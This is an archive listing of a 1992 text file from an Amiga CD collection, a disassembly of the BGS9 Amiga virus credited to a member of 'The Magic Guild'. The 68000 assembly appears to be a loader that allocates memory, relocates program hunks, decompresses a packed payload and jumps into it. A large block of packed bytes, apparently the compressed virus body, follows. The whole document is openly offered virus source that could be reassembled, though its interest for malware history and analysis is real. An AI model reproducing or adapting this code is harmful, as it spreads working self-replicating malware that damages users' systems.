home *** CD-ROM | disk | FTP | other *** search
/ Amiga ISO Collection / AmigaUtilCD2.iso / Virus / Virus.lha / Source / bgs9.exe.dsm next >
Encoding:
Text File  |  1992-09-02  |  21.4 KB  |  631 lines

  1. ; The BGS9 virus. Unassembled by Allanon of The Magic Guild...
  2.  
  3.  
  4.          SECTION  segment0,CODE
  5. seg0
  6.          movem.l  d0-d7/a0-a6,-(a7)
  7.          lea      *+$02-$000a(pc),a0
  8.          movea.l  (a0),a0
  9.          adda.l   a0,a0
  10.          adda.l   a0,a0
  11.          tst.l    (a0)+
  12.          movea.l  a0,a1
  13.          adda.l   #$00000200,a1
  14.          dc.b     $2c,$78,$00,$04
  15.                            ;  movea.l  ($0004).w,a6
  16.          movem.l  a0-a1,-(a7)
  17.          lea      L21(pc),a2
  18.          move.l   (a2),d0
  19.          adda.l   d0,a0
  20.          bsr.l    L22
  21.          movem.l  (a7)+,a0-a1
  22.          move.l   a0,-(a7)
  23.          movea.l  a1,a3
  24.          addq.l   #$8,a3
  25.          move.l   (a3)+,d0
  26.          move.l   d0,d7
  27.          addq.l   #$8,a3
  28.          move.l   d7,d6
  29.          subq.l   #$1,d6
  30.          suba.l   a1,a1
  31.          jsr      -$0126(a6)
  32.          movea.l  d0,a0
  33.          lea      *+$02-$004e(pc),a4
  34.          move.l   $00ac(a0),d0
  35.          beq.s    L1
  36.          lsl.l    #$2,d0
  37.          movea.l  d0,a0
  38.          clr.l    (a4)
  39.          lea      $003c(a0),a4
  40. L1       lea      L9(pc),a5
  41.          moveq    #$01,d2
  42. L2       move.l   (a3)+,d0
  43.          addq.l   #$2,d0
  44.          move.l   #$00010000,d1
  45.          btst     #$1e,d0
  46.          beq.s    L3
  47.          bset     #$01,d1
  48. L3       lsl.l    #$2,d0
  49.          move.l   d0,-(a7)
  50.          jsr      -$00c6(a6)
  51.          tst.l    d0
  52.          bne.s    L4
  53.          move.b   #$75,-$0001(a5)
  54.          tst.l    (a7)+
  55.          bra.s    L7
  56.  
  57. L4       movea.l  d0,a0
  58.          move.l   (a7)+,(a0)+
  59.          move.l   a0,d0
  60.          lsr.l    #$2,d0
  61.          move.l   d0,(a4)
  62.          movea.l  a0,a4
  63.          tst.b    d2
  64.          beq.s    L5
  65.          moveq    #$00,d2
  66.          tst.l    (a0)+
  67.          move.l   a0,(a5)
  68. L5       dbf      d6,L2
  69.          moveq    #$00,d6
  70.          moveq    #$00,d5
  71. L6       cmpi.w   #$03e9,$0002(a3)
  72.          beq.s    L10
  73.          cmpi.w   #$03ea,$0002(a3)
  74.          beq.s    L10
  75.          cmpi.w   #$03eb,$0002(a3)
  76.          beq.s    L12
  77.          cmpi.w   #$03ec,$0002(a3)
  78.          beq.s    L18
  79.          tst.l    (a3)+
  80.          moveq    #$00,d5
  81.          addq.l   #$1,d6
  82.          cmp.l    d6,d7
  83.          bgt.s    L6
  84. L7       movea.l  (a7)+,a1
  85.          subq.l   #$8,a1
  86.          move.l   (a1),d0
  87.          jsr      -$00d2(a6)
  88.          lea      *+$02-$00e4(pc),a0
  89.          tst.l    (a0)
  90.          bne.s    L8
  91.          move.l   a0,d0
  92.          lsr.l    #$2,d0
  93.          move.l   d0,(a4)
  94. L8       movem.l  (a7)+,d0-d7/a0-a6
  95.          jmp      $61646472
  96.  
  97. L9       EQU      seg0+$000000f2
  98. L10      bsr.s    L13
  99.          tst.l    (a3)+
  100.          move.l   (a3)+,d0
  101.          beq.s    L6
  102.          move.l   d6,d1
  103.          bsr.s    L15
  104.          subq.l   #$1,d0
  105. L11      move.l   (a3)+,(a1)+
  106.          dbf      d0,L11
  107.          bra.s    L6
  108.  
  109. L12      bsr.s    L13
  110.          addq.l   #$8,a3
  111.          bra.s    L6
  112.  
  113. L13      tst.l    d5
  114.          beq.s    L14
  115.          addq.l   #$1,d6
  116. L14      moveq    #$01,d5
  117.          rts      
  118.  
  119. L15      movea.l  (a5),a1
  120.          tst.l    -(a1)
  121. L16      subq.l   #$1,d1
  122.          bcs.s    L17
  123.          movea.l  (a1),a1
  124.          adda.l   a1,a1
  125.          adda.l   a1,a1
  126.          bra.s    L16
  127.  
  128. L17      tst.l    (a1)+
  129.          rts      
  130.  
  131. L18      tst.l    (a3)+
  132.          move.l   d6,d1
  133.          bsr.s    L15
  134.          move.l   a1,d2
  135. L19      move.l   (a3)+,d0
  136.          beq.l    L6
  137.          move.l   (a3)+,d1
  138.          bsr.s    L15
  139.          subq.l   #$1,d0
  140. L20      movea.l  a1,a0
  141.          movea.l  d2,a2
  142.          move.l   (a3)+,d1
  143.          adda.l   d1,a2
  144.          move.l   (a2),d1
  145.          adda.l   d1,a0
  146.          move.l   a0,(a2)
  147.          dbf      d0,L20
  148.          bra.s    L19
  149.  
  150. L21      dc.b     $00,$00,$09,$3c
  151.  
  152. L22      movea.l  a1,a2
  153.          lea      L35(pc),a5
  154.          move.l   -(a0),d5
  155.          moveq    #$00,d1
  156.          move.b   d5,d1
  157.          lsr.l    #$8,d5
  158.          adda.l   d5,a1
  159.          move.l   -(a0),d5
  160.          lsr.l    d1,d5
  161.          move.b   #$20,d7
  162.          sub.b    d1,d7
  163. L23      bsr.s    L31
  164.          tst.b    d1
  165.          bne.s    L26
  166.          moveq    #$00,d2
  167. L24      moveq    #$02,d0
  168.          bsr.s    L32
  169.          add.w    d1,d2
  170.          cmp.w    #$0003,d1
  171.          beq.s    L24
  172. L25      move.w   #$0008,d0
  173.          bsr.s    L32
  174.          move.b   d1,-(a1)
  175.          dbf      d2,L25
  176.          cmpa.l   a1,a2
  177.          bcs.s    L26
  178.          rts      
  179.  
  180. L26      moveq    #$02,d0
  181.          bsr.s    L32
  182.          moveq    #$00,d0
  183.          move.b   $00(a5,d1.w),d0
  184.          move.l   d0,d4
  185.          move.w   d1,d2
  186.          addq.w   #$1,d2
  187.          cmp.w    #$0004,d2
  188.          bne.s    L29
  189.          bsr.s    L31
  190.          move.l   d4,d0
  191.          tst.b    d1
  192.          bne.s    L27
  193.          moveq    #$07,d0
  194. L27      bsr.s    L32
  195.          move.w   d1,d3
  196. L28      moveq    #$03,d0
  197.          bsr.s    L32
  198.          add.w    d1,d2
  199.          cmp.w    #$0007,d1
  200.          beq.s    L28
  201.          bra.s    L30
  202.  
  203. L29      bsr.s    L32
  204.          move.w   d1,d3
  205. L30      move.b   $00(a1,d3.w),d0
  206.          move.b   d0,-(a1)
  207.          dbf      d2,L30
  208.          move.w   a1,$00dff1a2
  209.          cmpa.l   a1,a2
  210.          bcs.s    L23
  211.          rts      
  212.  
  213. L31      moveq    #$01,d0
  214. L32      moveq    #$00,d1
  215.          subq.w   #$1,d0
  216. L33      lsr.l    #$1,d5
  217.          roxl.l   #$1,d1
  218.          subq.b   #$1,d7
  219.          bne.s    L34
  220.          move.b   #$20,d7
  221.          move.l   -(a0),d5
  222. L34      dbf      d0,L33
  223.          rts      
  224.  
  225.          dc.b     $00,$00
  226. L35      dc.b     $09,$09,$09,$09,$48,$80
  227.          dc.b     $82,$16
  228.  
  229.  
  230.          SECTION  segment1,DATA
  231. seg1
  232.          dc.b     $f4,$2c,$f0,$b8,$38,$01
  233.          dc.b     $72,$7f,$c0,$38,$03,$00
  234.          dc.b     $53,$8b,$a0,$c1,$1e,$39
  235.          dc.b     $dc,$7d,$88,$06,$10,$4d
  236.          dc.b     $13,$4e,$2f,$74,$1c,$a1
  237.          dc.b     $93,$98,$c8,$93,$89,$11
  238.          dc.b     $63,$58,$d3,$98,$89,$12
  239.          dc.b     $08,$12,$ff,$48,$07,$0e
  240.          dc.b     $64,$f8,$61,$46,$67,$73
  241.          dc.b     $09,$47,$c6,$40,$03,$42
  242.          dc.b     $99,$66,$06,$05,$28,$10
  243.          dc.b     $63,$4b,$50,$27,$81,$5c
  244.          dc.b     $2d,$25,$80,$11,$0d,$dc
  245.          dc.b     $33,$b9,$4c,$42,$05,$6e
  246.          dc.b     $02,$48,$20,$61,$33,$53
  247.          dc.b     $83,$43,$c4,$2f,$8f,$f9
  248.          dc.b     $d6,$06,$14,$82,$c6,$a1
  249.          dc.b     $e3,$dc,$9b,$fd,$81,$13
  250.          dc.b     $80,$24,$4c,$00,$59,$04
  251.          dc.b     $5b,$7b,$d0,$7d,$39,$00
  252.          dc.b     $d2,$a9,$71,$80,$05,$6d
  253.          dc.b     $00,$80,$a8,$00,$83,$c0
  254.          dc.b     $02,$80,$54,$b8,$79,$88
  255.          dc.b     $04,$38,$ef,$c6,$43,$53
  256.          dc.b     $28,$86,$00,$36,$e2,$17
  257.          dc.b     $50,$02,$92,$17,$80,$37
  258.          dc.b     $7d,$e0,$14,$8f,$e4,$c2
  259.          dc.b     $53,$18,$0a,$00,$22,$60
  260.          dc.b     $04,$01,$88,$a8,$c5,$c0
  261.          dc.b     $d4,$00,$43,$39,$a0,$99
  262.          dc.b     $04,$c2,$e3,$44,$74,$58
  263.          dc.b     $02,$d0,$49,$01,$10,$12
  264.          dc.b     $0d,$08,$66,$f5,$00,$50
  265.          dc.b     $0f,$04,$d3,$0c,$b5,$00
  266.          dc.b     $80,$04,$03,$04,$3f,$b3
  267.          dc.b     $e0,$f8,$1f,$96,$63,$68
  268.          dc.b     $8e,$6d,$00,$90,$15,$24
  269.          dc.b     $a5,$c0,$0f,$1f,$6e,$09
  270.          dc.b     $04,$00,$ef,$81,$81,$b7
  271.          dc.b     $58,$1c,$e8,$ff,$70,$98
  272.          dc.b     $e1,$43,$40,$61,$6c,$dc
  273.          dc.b     $e8,$fc,$50,$6d,$64,$24
  274.          dc.b     $e1,$26,$5d,$48,$07,$98
  275.          dc.b     $98,$d6,$93,$a4,$96,$c7
  276.          dc.b     $80,$20,$a5,$92,$93,$18
  277.          dc.b     $95,$b9,$98,$95,$0a,$78
  278.          dc.b     $1e,$c0,$01,$69,$13,$dc
  279.          dc.b     $d8,$03,$d0,$48,$00,$70
  280.          dc.b     $d9,$e9,$ce,$9c,$45,$90
  281.          dc.b     $0a,$d3,$85,$cb,$5e,$74
  282.          dc.b     $0d,$94,$00,$7c,$f4,$b8
  283.          dc.b     $44,$b8,$34,$ba,$d4,$7d
  284.          dc.b     $41,$49,$80,$f5,$1e,$61
  285.          dc.b     $13,$02,$5c,$32,$5d,$5b
  286.          dc.b     $37,$5c,$17,$f8,$87,$77
  287.          dc.b     $fc,$87,$4a,$4c,$92,$8a
  288.          dc.b     $04,$0f,$c3,$a0,$1f,$d8
  289.          dc.b     $0d,$95,$49,$e3,$b9,$4a
  290.          dc.b     $e2,$4f,$7d,$31,$ff,$80
  291.          dc.b     $00,$8d,$44,$ad,$e0,$61
  292.          dc.b     $24,$aa,$c0,$18,$82,$52
  293.          dc.b     $78,$7e,$4b,$fc,$c0,$54
  294.          dc.b     $a6,$3e,$25,$07,$30,$20
  295.          dc.b     $03,$02,$51,$00,$0d,$81
  296.          dc.b     $80,$e6,$18,$79,$01,$60
  297.          dc.b     $a0,$32,$b0,$5e,$35,$2d
  298.          dc.b     $14,$27,$fe,$3e,$7f,$ef
  299.          dc.b     $71,$81,$01,$39,$68,$08
  300.          dc.b     $1c,$a2,$9f,$ee,$6a,$41
  301.          dc.b     $46,$83,$ce,$e1,$87,$aa
  302.          dc.b     $80,$6c,$e7,$f9,$5c,$95
  303.          dc.b     $93,$02,$ca,$4c,$16,$46
  304.          dc.b     $f3,$91,$d8,$9d,$2f,$93
  305.          dc.b     $27,$2a,$52,$d8,$24,$b8
  306.          dc.b     $5f,$e0,$e8,$80,$68,$82
  307.          dc.b     $ae,$e0,$10,$87,$d0,$01
  308.          dc.b     $7f,$8a,$e1,$d0,$40,$42
  309.          dc.b     $40,$b9,$a0,$14,$ec,$5b
  310.          dc.b     $c2,$78,$57,$10,$15,$a3
  311.          dc.b     $06,$41,$98,$a5,$02,$61
  312.          dc.b     $e6,$02,$5e,$c9,$ac,$44
  313.          dc.b     $0d,$81,$7c,$d8,$ac,$3c
  314.          dc.b     $c6,$f4,$44,$50,$75,$e0
  315.          dc.b     $c0,$c2,$24,$90,$37,$b2
  316.          dc.b     $4d,$e6,$38,$5c,$49,$f1
  317.          dc.b     $11,$49,$50,$d7,$49,$40
  318.          dc.b     $32,$50,$0b,$f0,$a3,$4b
  319.          dc.b     $03,$60,$44,$04,$54,$aa
  320.          dc.b     $a8,$67,$ec,$aa,$a4,$47
  321.          dc.b     $d8,$0b,$70,$3f,$d1,$80
  322.          dc.b     $07,$51,$1c,$8d,$27,$af
  323.          dc.b     $00,$00,$01,$8c,$b5,$03
  324.          dc.b     $a8,$94,$c4,$9f,$fc,$fc
  325.          dc.b     $c4,$5e,$00,$58,$ff,$6c
  326.          dc.b     $75,$20,$7f,$46,$98,$03
  327.          dc.b     $fc,$12,$4f,$a2,$31,$5e
  328.          dc.b     $1f,$dd,$e0,$b3,$7f,$ec
  329.          dc.b     $bf,$3f,$93,$49,$01,$0e
  330.          dc.b     $2a,$ce,$dc,$0a,$cd,$90
  331.          dc.b     $73,$ce,$01,$c8,$b4,$19
  332.          dc.b     $06,$22,$e0,$ff,$14,$53
  333.          dc.b     $e0,$e2,$28,$cf,$fc,$fe
  334.          dc.b     $d0,$87,$20,$9a,$f9,$84
  335.          dc.b     $15,$0c,$14,$08,$05,$82
  336.          dc.b     $3b,$1f,$41,$12,$40,$91
  337.          dc.b     $62,$4b,$48,$e7,$4d,$80
  338.          dc.b     $47,$e6,$0f,$44,$30,$dc
  339.          dc.b     $9c,$ca,$02,$46,$05,$83
  340.          dc.b     $3f,$c2,$c1,$8e,$cd,$62
  341.          dc.b     $18,$0b,$e6,$74,$60,$1b
  342.          dc.b     $9d,$23,$60,$93,$07,$21
  343.          dc.b     $cc,$8e,$e0,$06,$4f,$52
  344.          dc.b     $08,$e6,$24,$76,$a1,$d6
  345.          dc.b     $0c,$a1,$68,$77,$39,$96
  346.          dc.b     $10,$e4,$c1,$05,$02,$50
  347.          dc.b     $e6,$50,$5b,$08,$13,$98
  348.          dc.b     $81,$6c,$20,$f4,$29,$85
  349.          dc.b     $30,$14,$86,$27,$a4,$30
  350.          dc.b     $18,$00,$50,$66,$6f,$06
  351.          dc.b     $5d,$4a,$12,$30,$08,$00
  352.          dc.b     $44,$e6,$17,$48,$1b,$06
  353.          dc.b     $3f,$fd,$8b,$84,$b9,$e6
  354.          dc.b     $5c,$d2,$5f,$80,$79,$30
  355.          dc.b     $aa,$c0,$f7,$26,$7d,$c8
  356.          dc.b     $04,$04,$fe,$f6,$00,$06
  357.          dc.b     $2f,$b8,$30,$5a,$44,$04
  358.          dc.b     $09,$a1,$30,$19,$a6,$56
  359.          dc.b     $e2,$5f,$60,$76,$f4,$d0
  360.          dc.b     $44,$d2,$82,$5f,$40,$60
  361.          dc.b     $7f,$6c,$26,$01,$64,$94
  362.          dc.b     $c1,$06,$11,$06,$15,$06
  363.          dc.b     $09,$24,$a2,$c0,$ea,$e0
  364.          dc.b     $cf,$f5,$49,$ab,$0c,$c6
  365.          dc.b     $98,$f1,$66,$06,$e8,$08
  366.          dc.b     $ba,$37,$ea,$65,$a4,$ec
  367.          dc.b     $04,$22,$23,$d6,$08,$04
  368.          dc.b     $5e,$06,$b1,$30,$38,$06
  369.          dc.b     $f2,$20,$17,$09,$98,$08
  370.          dc.b     $17,$2f,$a8,$40,$54,$48
  371.          dc.b     $dc,$4a,$22,$21,$30,$07
  372.          dc.b     $84,$24,$20,$ff,$1b,$4e
  373.          dc.b     $52,$84,$a8,$50,$24,$0b
  374.          dc.b     $66,$83,$03,$48,$4c,$0e
  375.          dc.b     $66,$74,$e3,$51,$9c,$42
  376.          dc.b     $f0,$23,$00,$69,$60,$0c
  377.          dc.b     $13,$26,$a8,$90,$4b,$42
  378.          dc.b     $2a,$42,$6c,$40,$3d,$6a
  379.          dc.b     $95,$32,$94,$8a,$13,$6c
  380.          dc.b     $d2,$35,$68,$7c,$68,$0d
  381.          dc.b     $ca,$3b,$35,$4e,$da,$df
  382.          dc.b     $21,$38,$68,$0d,$c8,$f3
  383.          dc.b     $03,$2a,$09,$09,$09,$1c
  384.          dc.b     $45,$99,$40,$10,$12,$36
  385.          dc.b     $84,$88,$fe,$ff,$24,$04
  386.          dc.b     $70,$9c,$74,$98,$a9,$3f
  387.          dc.b     $f7,$7b,$d1,$21,$93,$eb
  388.          dc.b     $4a,$7c,$03,$ec,$3c,$00
  389.          dc.b     $21,$f0,$a0,$c3,$67,$00
  390.          dc.b     $3f,$45,$e0,$39,$87,$f0
  391.          dc.b     $9f,$68,$04,$70,$e0,$07
  392.          dc.b     $27,$5b,$f1,$b4,$40,$2a
  393.          dc.b     $23,$f7,$c0,$01,$04,$d0
  394.          dc.b     $54,$09,$50,$48,$0a,$b0
  395.          dc.b     $d1,$81,$92,$b0,$f9,$58
  396.          dc.b     $80,$07,$8f,$49,$43,$50
  397.          dc.b     $0f,$49,$0c,$45,$23,$49
  398.          dc.b     $09,$25,$f0,$00,$61,$0b
  399.          dc.b     $70,$0f,$c0,$a0,$1a,$43
  400.          dc.b     $84,$00,$16,$26,$12,$0f
  401.          dc.b     $12,$80,$00,$4a,$20,$81
  402.          dc.b     $c0,$26,$a6,$00,$80,$0d
  403.          dc.b     $2d,$90,$00,$04,$26,$42
  404.          dc.b     $14,$16,$02,$38,$0c,$06
  405.          dc.b     $80,$db,$a6,$90,$c1,$5d
  406.          dc.b     $b0,$f1,$80,$02,$19,$c2
  407.          dc.b     $80,$a3,$70,$f8,$0c,$10
  408.          dc.b     $01,$a5,$13,$eb,$13,$e8
  409.          dc.b     $01,$30,$cb,$ef,$fb,$fe
  410.          dc.b     $ff,$d6,$00,$c2,$d2,$61
  411.          dc.b     $00,$06,$06,$61,$f8,$ad
  412.          dc.b     $3f,$f6,$f7,$2a,$ec,$04
  413.          dc.b     $f8,$0d,$e8,$07,$fc,$18
  414.          dc.b     $3d,$00,$40,$7c,$27,$19
  415.          dc.b     $a8,$10,$00,$99,$a8,$30
  416.          dc.b     $04,$90,$01,$c0,$02,$90
  417.          dc.b     $00,$b8,$00,$1b,$ff,$08
  418.          dc.b     $08,$04,$1f,$0f,$f3,$78
  419.          dc.b     $04,$80,$80,$01,$c0,$00
  420.          dc.b     $00,$47,$9b,$82,$6a,$42
  421.          dc.b     $70,$08,$00,$04,$00,$03
  422.          dc.b     $00,$0f,$f7,$f2,$6f,$63
  423.          dc.b     $54,$4e,$59,$d8,$ba,$ba
  424.          dc.b     $58,$ba,$5b,$d9,$d9,$f1
  425.          dc.b     $08,$f9,$82,$80,$0e,$16
  426.          dc.b     $96,$c6,$ce,$74,$36,$96
  427.          dc.b     $46,$4e,$86,$4e,$9e,$00
  428.          dc.b     $00,$96,$b1,$bf,$f7,$40
  429.          dc.b     $96,$db,$d4,$b8,$de,$61
  430.          dc.b     $34,$38,$56,$9b,$d4,$30
  431.          dc.b     $d6,$81,$bc,$e0,$9e,$89
  432.          dc.b     $1a,$b0,$fe,$41,$d4,$ca
  433.          dc.b     $5d,$2a,$bf,$ff,$c3,$03
  434.          dc.b     $92,$5c,$2b,$1f,$36,$02
  435.          dc.b     $3a,$96,$58,$2f,$32,$9c
  436.          dc.b     $66,$31,$aa,$e8,$79,$4f
  437.          dc.b     $fa,$91,$d8,$2f,$95,$65
  438.          dc.b     $58,$2a,$5b,$7d,$c7,$20
  439.          dc.b     $62,$57,$7b,$31,$9a,$31
  440.          dc.b     $c6,$2f,$04,$88,$54,$3a
  441.          dc.b     $72,$4b,$b8,$0f,$9d,$d6
  442.          dc.b     $b2,$f0,$a5,$87,$f8,$3b
  443.          dc.b     $30,$dd,$79,$1f,$32,$d6
  444.          dc.b     $40,$85,$cc,$5b,$b8,$3f
  445.          dc.b     $46,$be,$35,$f5,$1a,$8e
  446.          dc.b     $98,$3f,$26,$82,$52,$4c
  447.          dc.b     $1c,$da,$18,$ae,$3f,$ff
  448.          dc.b     $ff,$ff,$ff,$ff,$f7,$60
  449.          dc.b     $5a,$2c,$32,$7b,$9f,$13
  450.          dc.b     $64,$98,$c8,$4d,$ec,$f1
  451.          dc.b     $d8,$22,$26,$9c,$52,$12
  452.          dc.b     $e6,$6a,$b9,$ee,$3d,$be
  453.          dc.b     $88,$cf,$15,$d6,$eb,$c9
  454.          dc.b     $dc,$6f,$40,$e9,$15,$96
  455.          dc.b     $eb,$b7,$63,$8e,$68,$ac
  456.          dc.b     $1b,$96,$a6,$ae,$02,$d6
  457.          dc.b     $b4,$30,$19,$1e,$7b,$a7
  458.          dc.b     $99,$c7,$aa,$c4,$75,$8a
  459.          dc.b     $d4,$50,$c6,$a0,$78,$da
  460.          dc.b     $f5,$48,$db,$50,$e6,$80
  461.          dc.b     $4c,$9b,$d5,$cf,$e7,$bf
  462.          dc.b     $ff,$ff,$ff,$ff,$ff,$f6
  463.          dc.b     $ac,$98,$96,$2f,$fe,$31
  464.          dc.b     $28,$23,$16,$e9,$94,$29
  465.          dc.b     $de,$7e,$97,$33,$1d,$68
  466.          dc.b     $a8,$2b,$7a,$88,$60,$10
  467.          dc.b     $e5,$0a,$bd,$ce,$95,$6e
  468.          dc.b     $ed,$d0,$01,$a3,$62,$a2
  469.          dc.b     $98,$59,$98,$2e,$fb,$17
  470.          dc.b     $98,$31,$1a,$33,$20,$dc
  471.          dc.b     $1a,$09,$3f,$ff,$ff,$fd
  472.          dc.b     $db,$27,$67,$d7,$eb,$e4
  473.          dc.b     $32,$0d,$44,$2f,$7d,$41
  474.          dc.b     $d8,$71,$42,$45,$f8,$fe
  475.          dc.b     $79,$40,$88,$7a,$a9,$70
  476.          dc.b     $3d,$93,$6d,$06,$84,$41
  477.          dc.b     $ab,$51,$8e,$f5,$b7,$f5
  478.          dc.b     $53,$4d,$c9,$a0,$01,$fb
  479.          dc.b     $a2,$74,$37,$ff,$ff,$dc
  480.          dc.b     $82,$5a,$6b,$23,$d5,$3f
  481.          dc.b     $9c,$dc,$78,$e7,$61,$b1
  482.          dc.b     $68,$5f,$69,$e2,$1f,$e6
  483.          dc.b     $9b,$77,$ed,$5d,$0e,$40
  484.          dc.b     $1d,$ff,$fd,$d2,$b6,$f9
  485.          dc.b     $7f,$80,$17,$25,$4e,$cb
  486.          dc.b     $ce,$99,$b5,$fb,$d2,$c3
  487.          dc.b     $3b,$ca,$0f,$fd,$88,$17
  488.          dc.b     $53,$36,$a9,$8d,$89,$08
  489.          dc.b     $a7,$07,$25,$c1,$eb,$82
  490.          dc.b     $2e,$f1,$05,$d6,$c9,$7d
  491.          dc.b     $13,$39,$14,$b1,$5b,$2b
  492.          dc.b     $70,$31,$49,$57,$cc,$c7
  493.          dc.b     $cf,$ff,$ff,$6a,$04,$9d
  494.          dc.b     $56,$06,$43,$3d,$0f,$56
  495.          dc.b     $41,$71,$d0,$a5,$9a,$7c
  496.          dc.b     $32,$26,$15,$48,$66,$79
  497.          dc.b     $bb,$48,$5f,$11,$69,$7a
  498.          dc.b     $11,$50,$05,$9e,$5e,$b4
  499.          dc.b     $05,$19,$c7,$9b,$ff,$ff
  500.          dc.b     $f7,$1c,$fe,$86,$12,$e0
  501.          dc.b     $c5,$88,$64,$2c,$3f,$6e
  502.          dc.b     $46,$2f,$62,$64,$5f,$1d
  503.          dc.b     $52,$8e,$d9,$a1,$1b,$11
  504.          dc.b     $a8,$2e,$7c,$49,$e7,$51
  505.          dc.b     $d6,$95,$4c,$8e,$08,$fc
  506.          dc.b     $27,$18,$7f,$ff,$ff,$63
  507.          dc.b     $cd,$c2,$20,$29,$40,$68
  508.          dc.b     $f1,$2f,$e6,$8b,$92,$bd
  509.          dc.b     $d5,$62,$d2,$a9,$04,$8b
  510.          dc.b     $ff,$79,$4a,$7d,$74,$29
  511.          dc.b     $78,$2d,$8d,$f1,$ae,$51
  512.          dc.b     $88,$ee,$76,$65,$fc,$c0
  513.          dc.b     $52,$93,$85,$71,$a5,$59
  514.          dc.b     $82,$d5,$d9,$fd,$41,$0b
  515.          dc.b     $a9,$25,$66,$11,$a5,$43
  516.          dc.b     $4f,$01,$6f,$d2,$6d,$69
  517.          dc.b     $a9,$19,$b3,$02,$5f,$06
  518.          dc.b     $82,$fd,$af,$64,$7a,$f7
  519.          dc.b     $c6,$e3,$b3,$41,$7b,$ff
  520.          dc.b     $ff,$ff,$ff,$cc,$40,$9c
  521.          dc.b     $14,$a8,$ec,$73,$18,$3c
  522.          dc.b     $b4,$d0,$39,$2b,$1b,$68
  523.          dc.b     $26,$fa,$16,$b0,$74,$0a
  524.          dc.b     $92,$54,$66,$70,$41,$5f
  525.          dc.b     $ea,$3b,$2d,$3b,$58,$e9
  526.          dc.b     $07,$c3,$ea,$dc,$8e,$e4
  527.          dc.b     $77,$c0,$e0,$c4,$8a,$57
  528.          dc.b     $22,$21,$8f,$a6,$6f,$39
  529.          dc.b     $74,$76,$e0,$2f,$99,$85
  530.          dc.b     $8f,$46,$85,$92,$98,$48
  531.          dc.b     $00,$c9,$98,$9c,$12,$7b
  532.          dc.b     $52,$b4,$65,$6a,$1c,$40
  533.          dc.b     $66,$4d,$a9,$4c,$2a,$f9
  534.          dc.b     $23,$dc,$54,$59,$eb,$50
  535.          dcb.b    7,$ff
  536.          dc.b     $6d,$0d,$d2,$22,$91,$95
  537.          dc.b     $92,$37,$a0,$66,$0a,$bd
  538.          dc.b     $8f,$a8,$0a,$f1,$88,$d5
  539.          dc.b     $62,$c0,$5e,$e4,$00,$ee
  540.          dc.b     $f5,$54,$31,$f6,$66,$d4
  541.          dc.b     $e3,$bc,$aa,$66,$73,$7d
  542.          dc.b     $6d,$65,$86,$eb,$38,$98
  543.          dc.b     $8a,$ff,$78,$df,$e8,$fd
  544.          dc.b     $a1,$0a,$fc,$e0,$52,$85
  545.          dc.b     $92,$61,$08,$8e,$44,$01
  546.          dc.b     $18,$28,$8d,$f5,$b6,$fb
  547.          dc.b     $82,$0d,$59,$64,$0e,$2e
  548.          dc.b     $29,$59,$fb,$6a,$59,$55
  549.          dc.b     $7a,$f6,$59,$19,$89,$01
  550.          dc.b     $97,$68,$72,$ee,$a7
  551.          dcb.b    6,$ff
  552.          dc.b     $fd,$ae,$35,$db,$65,$a9
  553.          dc.b     $05,$06,$a4,$95,$4b,$fa
  554.          dc.b     $85,$3f,$c4,$46,$a2,$14
  555.          dc.b     $28,$e6,$19,$a8,$36,$41
  556.          dc.b     $dd,$be,$7b,$84,$b1,$2e
  557.          dc.b     $2b,$16,$9f,$c6,$63,$cb
  558.          dc.b     $9b,$5b,$eb,$d2,$17,$c6
  559.          dc.b     $09,$06,$b1,$b2,$13,$f1
  560.          dc.b     $a3,$29,$88,$0c,$8d,$b6
  561.          dc.b     $98,$e5,$a3,$da,$36,$40
  562.          dc.b     $e5,$5b,$ab,$02,$35,$66
  563.          dc.b     $23,$e6,$8d,$0b,$8b,$a0
  564.          dc.b     $a5,$17,$4c,$75,$a4,$5e
  565.          dc.b     $37,$18,$99,$73,$e8,$09
  566.          dc.b     $56,$a9,$33,$ae,$a0,$a2
  567.          dc.b     $f4,$f8,$cd,$86,$01,$8d
  568.          dc.b     $2f,$84,$07,$d7,$02,$d7
  569.          dc.b     $d5,$ef
  570.          dcb.b    7,$ff
  571.          dc.b     $fd,$dc,$24,$0a,$f4,$98
  572.          dc.b     $17,$73,$07,$08,$08,$79
  573.          dc.b     $1f,$04,$96,$7d,$c8,$a3
  574.          dc.b     $9b,$ad,$da,$e5,$42,$15
  575.          dc.b     $db,$2d,$90,$0e,$d2,$c5
  576.          dc.b     $a6,$37,$d6,$9d,$ad,$fd
  577.          dc.b     $0e,$86,$6b,$f0,$f1,$46
  578.          dc.b     $89,$8b,$b8,$58,$2e,$cc
  579.          dc.b     $06,$f2,$55,$cb,$c9,$4d
  580.          dc.b     $96,$2b,$41,$f5,$91,$8c
  581.          dc.b     $87,$1c,$12,$e3,$d8,$9a
  582.          dc.b     $18,$03,$23,$97,$51,$d2
  583.          dc.b     $19,$3c,$2a,$0b,$20,$88
  584.          dc.b     $51,$f5,$3a,$a8,$9e,$e5
  585.          dc.b     $d3,$61,$8a,$33,$c7,$5a
  586.          dc.b     $36,$3f,$51,$79,$86,$0b
  587.          dc.b     $82,$db,$6a,$f7,$f9,$66
  588.          dc.b     $af,$1f,$c6,$94,$dc,$77
  589.          dc.b     $be,$c4,$57,$cc,$72,$e2
  590.          dc.b     $e9,$0b,$ea,$85,$bf,$f0
  591.          dc.b     $20,$e5,$d1,$bc,$26,$26
  592.          dc.b     $5f,$5c,$26,$a5,$13,$ca
  593.          dc.b     $6f,$de,$56,$26,$e8,$6b
  594.          dc.b     $59,$cb,$a4,$31,$a9,$4b
  595.          dc.b     $4c,$85,$aa,$34,$05,$5a
  596.          dc.b     $59,$f4,$c9,$69,$80,$37
  597.          dc.b     $2b,$26,$e6,$fb,$de,$73
  598.          dc.b     $00,$c7,$1c,$62,$5c,$09
  599.          dc.b     $9e,$a4,$f3,$19,$c6,$a7
  600.          dc.b     $18,$3d,$f9,$65,$69,$c8
  601.          dc.b     $39,$a2,$72,$32,$1f,$b8
  602.          dc.b     $ea,$f0,$cd,$f1,$ac,$1f
  603.          dc.b     $8a,$a4,$21,$cb,$4f,$e8
  604.          dc.b     $0a,$0b,$45,$fa,$2e,$14
  605.          dc.b     $26,$9a,$56,$74,$47,$69
  606.          dc.b     $8c,$3c,$6b,$fb,$e8,$2c
  607.          dc.b     $ca,$eb,$84,$94,$71,$c3
  608.          dc.b     $5a,$0b,$c0,$a9,$4f,$8a
  609.          dc.b     $07,$ee,$ad,$3e,$29,$7b
  610.          dc.b     $e1,$e4,$79,$ff,$42,$31
  611.          dc.b     $c9,$3a,$86,$31,$a3,$6c
  612.          dc.b     $7e,$2b,$e7,$fb,$ea,$86
  613.          dc.b     $75,$53,$fa,$c4,$b7,$54
